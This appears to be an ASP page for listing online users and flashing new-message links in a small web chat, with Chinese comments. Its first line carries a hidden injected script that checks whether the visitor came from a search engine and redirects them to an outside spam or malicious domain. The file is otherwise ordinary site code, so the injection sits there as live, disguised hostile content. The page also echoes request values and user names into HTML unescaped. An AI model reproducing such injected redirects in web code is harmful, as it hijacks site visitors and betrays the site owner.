d:\wwwroot\wuchunhua\qq\list_user.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%Response.Expires=0%>
002: <%
003:    '字符串处理函数
004:    Function FormatStr(str)
005:       '将,和|两个字符进行替换
006:       ',被用来分割用户各个信息
007:       '|被用来分割不同用户的信息
008:       str=replace(str,",","&#44;")
009:       FormatStr=replace(str,"|","&#124;")
010:    End Function
011:
012:    '输出客户端javascript代码
013: %
>
014: <script language="javascript">
015: <!--
016: var display;
017: var first_y;
018: function starts()
019: {
020:    <%
021:       If Request("senduserids")<>"" And Session("isfoucs")=False Then
022:          Response.Write "parent.focus();"
023:          Session("isfoucs")=True
024:       End If
025:    %
>  
026:    if(parent.screenLeft<0)
027:       display=false;
028:    else
029:       display=true;
030: }  
031:
032: function Onmouseover_auto()
033: {
034:    if((display!=true) && (parent.screenLeft<=0))
035:    {
036:       parent.moveTo(0,parent.screenTop-22);
037:       display=true;
038:    }
039: }
040:
041: function Onmouseout_auto()
042: {
043:    if(parent.screenLeft<=3 && display==true && first_y==-1)
044:    {
045:       a = (parent.screenLeft - parent.document.body.offsetWidth)+20;
046:       parent.moveTo(a,parent.screenTop-22);
047:       display=false;
048:    }
049:    first_y=event.y;
050: }  
051: -->

052: </script>
053: <body Topmargin="0" leftmargin="0" onmouseover="Onmouseover_auto()" onmouseout="Onmouseout_auto()" Onload="starts()">
054: <div>
055: <table border="0" width="100%" cellspacing="0" cellpadding="0">
056:   <tr>
057:     <td width="100%" align="center" >
058:       <table border="0" width="100%" cellspacing="0" cellpadding="0">
059: <%
060:    '变量定义
061:    Dim users,user_datas,senduserids,user_id,i,flags
062:
063:    '获得Application中的在线用户信息记录
064:    users=Application("Users")
065:
066:    '如果用户信息记录为空
067:    If users="" Then
068:       '提示用户系统发生错误
069:       Response.Write "系统发生错误,请重新登陆"
070:    Else
071:       '使用|字符对users变量进行分割成各个用户的信息记录
072:       '保存到数组变量中
073:       user_datas=split(users,"|")
074:
075:       '如果Request对象中的message参数不为空
076:       If Request("senduserids")<>"" Then
077:          '设置senduserids变量的值
078:          senduserids=Request("senduserids") & "|"
079:       Else
080:          '设置senduserids变量的值
081:          senduserids="||"
082:       End If
083:
084:       '循环处理每个用户的信息
085:       For i=1 To ubound(user_datas)
086:          '使用,字符将用户信息分割成用户的各项信息记录
087:          userDataArray=split(user_datas(i),",")
088:
089:          '如果在在线用户的ID号不等于当前用户的ID号
090:          '说明不是同一个人
091:          If cstr(userDataArray(0))<>FormatStr(Session("id")) Then
092:             Response.Write "<tr>"
093:             Response.Write " <td width=""20%"" align=center hight=21 valign=""middle"" >"
094:
095:             '如果该用户为男性
096:             If userDataArray(4)="boy" Then
097:                '显示男性图片
098:                Response.Write "<img src=""boy.gif"" id=""ss" & userDataArray(0) & """ width=13 hight=13 border=0>"
099:             Else
100:                '否则,显示女性图片
101:                Response.Write "<img src=""girl.gif"" id=""ss" & userDataArray(0) & """ width=14 hight=16 border=0>"
102:             End If
103:
104:             Response.Write " <td width=""80%"" align=center hight=21 valign=""middle"" >"
105:             
106:             '如果有该在线用户向当前用户发送的消息
107:             If instr(senduserids,"|" & userDataArray(0) & "|")>0 Then
108:                '设置标志为1
109:                flags=1
110:
111:                '向页面输出javascript代码
112:                '以产生闪烁效果
113:                '点击该链接将打开查看消息的新窗口
114:                Response.Write "<a href=""#"" Onclick=""javascript:window.open('list_message.asp?user_id=" & userDataArray(0) & "','_blank','width=338,height=190,noscrollbars,Top=200,left=300');clearTimeout(time" & userDataArray(0) & ");return false;"">"
115:                Response.Write "<font size=3 color=""red"" id=""s" & userDataArray(0) & """>"
116:
117:                '实现闪烁效果的函数
118:                Response.Write "<script language=""Javascript"">"
119:                '为每个用户定义一个唯一的变量
120:                Response.Write "var va" & userDataArray(0) & "=0;"
121:                Response.Write "function f" & userDataArray(0) & "()"
122:                Response.Write "{"
123:                '如果变量为0,设置字体大小为2
124:                Response.Write "if(va" & userDataArray(0) & "==0){"
125:                Response.Write "s" & userDataArray(0) & ".size=2;"
126:                '将变量设置为1
127:                Response.Write "va" & userDataArray(0) & "=1;"
128:                Response.Write "}else{"
129:                '如果变量为1,设置字体大小为3
130:                Response.Write "s" & userDataArray(0) & ".size=3;"
131:                '将变量设置为0
132:                Response.Write "va" & userDataArray(0) & "=0;}"
133:
134:                '设置定时器,反复调用该函数
135:                '实现闪烁效果
136:                Response.Write "time" & userDataArray(0) & "=window.setTimeout('f" & userDataArray(0) & "()',500);"
137:                Response.Write "}"
138:                Response.Write "f" & userDataArray(0) & "();"
139:                Response.Write "</script>"
140:             Else
141:                '否则,添加超级链接
142:                '点击该超级链接,将弹出一个新窗口,在新窗口中显示发送消息的页面
143:                Response.Write "<a href=""#"" Onclick=""window.open('call_user.asp?user_id=" & userDataArray(0) & "','_blank','width=338,height=190,noscrollbars,Top=200,left=300')"">"
144:                Response.Write "<font size=3 color=""#000000"">"
145:             End If
146:             
147:             '完成页面代码
148:             Response.Write userDataArray(1)
149:             Response.Write "</font>"
150:             Response.Write "</a>"
151:             Response.Write "</td>"
152:             Response.Write "</tr>"
153:             Response.Write "<tr><td height=15>&nbsp;</td><td></td></tr>"
154:          End If
155:       Next
156:
157:       '如果标志不为1,并且Request("senduserids")不为空
158:       '说明消息还没有处理,原因可能是因为用户已经不在线
159:       If flags<>1 And Request("senduserids")<>"" Then
160:          Dim amessage,strlens,strtemps
161:          'Application中存储的消息
162:          amessage=Application("Messages")
163:          'Request对象中给当前用户发送消息的用户ID号
164:          senduserids=Request("senduserids")
165:
166:          '使用|字符将senduserids变量分割成一个个的ID号
167:          strtemps=split(senduserids,"|")
168:
169:          '循环处理每个用户ID号
170:          For i=1 To ubound(strtemps)
171:             '获得该用户发送给当前用户
172:             '的消息在Application消息字符串中的位置
173:             strlens=instr(amessage,"|" & Formatstr(Session("id")) & "," & strtemps(i) & ",")
174:
175:             '如果该条消息在Application消息字符串中存在
176:             If strlens>0 Then
177:                '提取该条消息之后的所有消息
178:                user_datas=mid(amessage,strlens)
179:
180:                '使用|字符将分割user_datas,获得每条消息
181:                user_datas=split(user_datas,"|")
182:                '使用,字符分割第一条消息
183:                '获得消息发送者ID号
184:                userDataArray=split(user_datas(1),",")
185:
186:                '显示查看消息的超级链接
187:                Response.Write "<tr>"
188:                Response.Write " <td width=""20%"" align=center hight=21 valign=""middle"" >"
189:                Response.Write "&nbsp;</td>"
190:                Response.Write " <td width=""80%"" align=center hight=21 >"
191:                Response.Write "<a href=""#"" Onclick=""javascript:window.open('list_message.asp?user_id=" & userDataArray(1) & "&flags=1','_blank','width=338,height=190,noscrollbars,Top=200,left=300');clearTimeout(time" & userDataArray(0) & ");return false;"">"
192:
193:                '不显示用户昵称,而是显示用户ID号和性别
194:                Response.Write "<font size=""3"" color=""red"" id=s""" & userDataArray(0) & """>"
195:                Response.Write "<br>" & userDataArray(4)
196:                Response.Write "</font>"
197:                Response.Write "</a>"
198:                Response.Write "</td>"
199:                Response.Write "</tr>"
200:             End If
201:          Next
202:       End If
203:    End If
204: %
>
205:       </table>
206:     </td>
207:    </tr>  
208: </table>
209: </div>
210: </body>
211:
212: